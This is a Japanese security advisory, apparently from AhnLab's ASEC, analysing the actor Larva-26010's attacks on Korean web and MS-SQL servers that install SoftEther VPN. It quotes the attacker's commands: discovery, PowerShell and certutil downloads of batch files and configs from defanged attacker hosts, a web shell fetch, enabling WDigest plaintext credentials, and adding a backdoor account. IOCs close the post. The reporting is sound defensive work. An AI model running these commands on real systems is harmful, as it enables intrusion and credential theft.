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Posted By ATCP , 2026년 09월 17일

SoftEther VPN をインストールする韓国国内の Web サーバーを標的とした攻撃事例

AhnLab SEcurity intelligence Center (ASEC) は最近、韓国国内の Web サーバーを攻撃して SoftEther VPN をインストールする攻撃事例を複数確認した。オープンソース VPN である SoftEther VPN をインストールする攻撃事例については、2024年に公開した ASEC ブログ 「SoftEther VPN をインストールする韓国国内 ERP サーバーを対象とする攻撃事例の解析」[1] でも取り上げている。今回も類似した攻撃を行っている攻撃者は、同事例と同じ特徴を持っていることから、Larva-26010 に分類した。攻撃者は、感染したシステムを VPN サーバーとして利用するため、最終的に SoftEther VPN サービスをインストールしたものとみられる。

 

1. 過去の攻撃事例

感染したシステムを VPN サーバーとして利用する事例は以前から存在しており、オープンソースである SoftEther VPN が頻繁に使用されている。例えば、Microsoft 社のレポートでは、GALLIUM 攻撃者が攻撃対象のネットワークに SoftEther VPN サーバーをインストールし、これを経由して内部ネットワークへアクセスできるようにしていたことが報告されている。 [2] このほかにも、Kaspersky 社が公開した ToddyCat 攻撃者による攻撃事例や [3]、Mandiant 社が公開した UNC3500 の攻撃過程でも、SoftEther VPN をインストールした事例が確認されている。[4]

 

SoftEther VPN をインストールする攻撃事例は2024年にも韓国国内で確認された。この攻撃では、攻撃者が韓国企業に設置された ERP サーバーを標的とした。不適切に管理されている MS-SQL サーバーへ侵入した後、PowerShell や Bitsadmin、Certuil などのユーティリティを利用して SoftEther VPN をインストールし、最終的に Web シェルをインストールしたものと推定される。

 

2. 最新の攻撃事例

2026年4月から8月までに確認された攻撃事例についても、同一の攻撃者によるものとみられる。SoftEther VPN の実行ファイルを “vmtoolsd.exe” などに偽装している点や、ProgramData パスを使用している点、さらに設定ファイルとデータファイル “hamcore.se2” をそれぞれダウンロードしている点が共通している。このほか、UseLogonCredential レジストリキーを設定している点や、侵入事例で確認された Discovery コマンドもその大部分が同一である。

 

2.1. 初期侵入

以前の事例との違いとして、過去の事例では MS-SQL サーバーを攻撃した後に Discovery の過程を経て SoftEther VPN をインストールし、最終的に Web シェルをインストールしていた。一方、最新の攻撃事例では逆のログが確認されている点が挙げられる。
多くの事例では、初期侵入段階で Web サーバーを攻撃し、Web サービスによって Discovery コマンドだけでなく SoftEther VPN のインストールコマンドも実行されている。また、最終段階で MS-SQL サーバーを攻撃し、CLR SqlShell をインストールするケースも確認された。

 

最初の侵入経路については確認できていないが、Web サーバープロセスによって以下のような Discovery コマンドが実行されていた。

> whoami
> netstat -ano -p tcp
> netstat -ano
> tasklist
> query user
> curl -h
> where curl
> systeminfo
> ipconfig
> ipconfig /all
> ping 8.8.8.8

 

2.2. SoftEther VPN のインストール

その後、PowerShell コマンドによって Batch マルウェアをダウンロードするが、この中には SoftEther VPN をインストールするコマンドが含まれている。

> powershell iwr -uri hxxp://64.176.55[.]16:80/download/menu.bat -OutFile C:\ProgramData\1.bat
> powershell iwr -uri hxxp://139.180.210[.]71/download/m2.bat -OutFile C:\ProgramData\1.bat
> powershell iwr -uri hxxp://45.76.144[.]150/download/m2.bat -OutFile C:\ProgramData\1.bat

 

[図1] ダウンローダースクリプト

 

また、Cab ファイル形式、または直接 “hamcore.se2″、”vpn_server.config” をインストールするログも確認されている。

 

[図2] Web サーバーへの攻撃後に実行されたコマンド

 

> certutil -urlcache -split -f “hxxp://139.180.210[.]71/download/us320250823.cab” “C:\ProgramData\proxy.cab”
> certutil -urlcache -split -f “hxxp://64.176.55[.]16/download/us31231131.cab” “C:\ProgramData\proxy.cab”
> certutil -urlcache -split -f h”xxp://64.176.55[.]16:80/download/vmtoolsd.se2″ “C:\ProgramData\USOPulic\vmtoolsd.se2”
> curl hxxps://sendit[.]sh/Ebhcz/hamcore.se2 -o c:\programdata\dns\hamcore.se2
> curl hxxps://sendit[.]sh/LLXkB/dUHxy.config -o c:\programdata\dns\vpn_server.config
> curl -o c:\programdata\USOPublic\vpn_server.config hxxp://69.48.229[.]196:8080/download/server.config.hrx
> curl -o c:\programdata\USOPublic\hamcore.se2 hxxp://69.48.229[.]196:8080/download/core.img
> certutil -urlcache -split -f “hxxp://45.76.144[.]150/download/us3202508234.cab” “C:\ProgramData\proxy.cab”
> certutil -urlcache -split -f hxxp://69.48.229[.]54:8080/1/vmtoolsd.exe c:\programdata\vmtools\vmtoolsd.exe
> curl hxxp://69.48.229[.]54:8080/1/2.config -o c:\programdata\vmtools\vpn_server.config

 

設定ファイルを確認すると、攻撃者は感染システムを単独で VPN サービスを提供するサーバーとして利用するのではなく、別の VPN サーバーへ接続する “Cascade Connection” 方式で動作させていることが分かる。これは、実際の C&C インフラを直接露出させることや、追跡を困難にすることを目的としているものと推定される。

 

[図3] SoftEther VPN の設定ファイル

 

2.3. 追加の動作

ここまでの処理が完了すると、UseLogonCredential レジストリキーを設定する。これは、WDigest による平文パスワード保存機能を有効にし、後から認証情報を窃取することを目的としたものとみられる。

また、別の事例では、以下のようなコマンドを実行してどのような認証方式がインストールされているかを確認するとともに、ローカルセキュリティポリシーを抽出し、ドメインへの参加状況を確認している。

> reg query “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers”
> secedit /export /cfg C:\Windows\Temp\secpol.cfg
> dsregcmd /status

 

さらに、MS-SQL サーバーを攻撃して CLR SqlShell をインストールするケースも確認されている。攻撃に使用された SqlShell は、コマンド実行やペイロードのダウンロードといった基本的な機能だけでなく、BadPotato や EfsPotato を利用した権限昇格、メモリダンプ、ユーザーアカウントの追加、シェルコードの実行などの機能にも対応している。

 

[図4] MS-SQL サーバーにインストールされた SqlShell

 

このほか、以下のように Web シェルを追加でインストールしたと推定されるログや、”adminsitrator” というアカウントを追加するコマンドも確認されている。

> powershell iwr -uri hxxp://bashupload[.]app/p62mh8.bin -OutFile D:\*****\*****\403.aspx
> powershell -c “$u=[ADSI]’WinNT://./’;$user=$u.Create(‘User’,’adminsitrator’);$user.SetPassword(‘Pa******@#’);$user.SetInfo()”

 

3. 結論

Larva-26010 の攻撃者は、少なくとも2024年から韓国国内の Web サーバーおよび MS-SQL サーバーを攻撃し、SoftEther VPN サーバーをインストールしている。初期侵入後、Web シェルや SqlShell をインストールして感染システムを制御しているとみられ、最終的に SoftEther をインストールする。
バックドアアカウントや Web シェルのインストールを除けば、追加の悪意のある動作は確認されていないが、攻撃者は感染したシステムを後から C&C サーバーとして利用することを目的としているものとみられる。

管理者は、脆弱な Web サーバーの点検を行うとともに、DBMS へのクエリや Web サービスへのリクエストに対する入力値の検証、アップロードフォルダーに対する実行権限の制限、IIS Web サーバーおよび OS への最新のセキュリティパッチの適用を行う必要がある。
また、V3 を最新バージョンにアップデートし、マルウェア感染を事前に防止できるよう対策する必要がある。

 

MD5

2ce810acee9eb604010bd4cd28b36ac2
329f6d74299141fe06a5e222efcb06f8
9593369fbd29c7c4e79eae940512040d
e9d80a71e8577cc467b09bcf4b13a6fa
URL

http[:]//139[.]180[.]210[.]71/download/m2[.]bat
http[:]//139[.]180[.]210[.]71/download/us320250823[.]cab
http[:]//45[.]76[.]144[.]150/download/m2[.]bat
http[:]//45[.]76[.]144[.]150/download/us3202508234[.]cab
http[:]//64[.]176[.]55[.]16/download//vpn_server[.]config
IP

139[.]180[.]210[.]71
149[.]28[.]151[.]180
45[.]76[.]144[.]150
64[.]176[.]46[.]157
64[.]176[.]55[.]16

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「AhnLab TIP」 サブスクリプションサービスを通して確認できる。

Categories: マルウェア

Tagged as: IIS, SqlShell, WEBSERVER, WebShell

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